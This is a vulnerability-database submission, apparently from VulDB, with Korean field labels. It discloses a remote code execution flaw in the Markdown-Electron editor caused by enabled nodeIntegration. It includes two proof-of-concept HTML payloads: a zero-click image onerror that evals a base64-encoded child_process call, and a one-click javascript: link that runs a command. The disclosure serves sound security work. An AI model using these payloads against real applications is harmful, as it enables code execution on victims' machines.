| 제목 | Incorrect electron configuration causes RCE |
|---|
| 설명 | nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE).
EXP
# 0 click
<img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'>
# 1 click
<a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a>
For more details, please click the announcement. |
|---|
| 원천 | ⚠️ https://github.com/JP1016/Markdown-Electron/issues/3 |
|---|
| 사용자 | Tom23 (UID 41413) |
|---|
| 제출 | 2023. 02. 20. PM 01:17 (4 연령 ago) |
|---|
| 모더레이션 | 2023. 02. 24. AM 09:00 (4 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 221738 [JP1016 Markdown-Electron 권한 상승] |
|---|
| 포인트들 | 20 |
|---|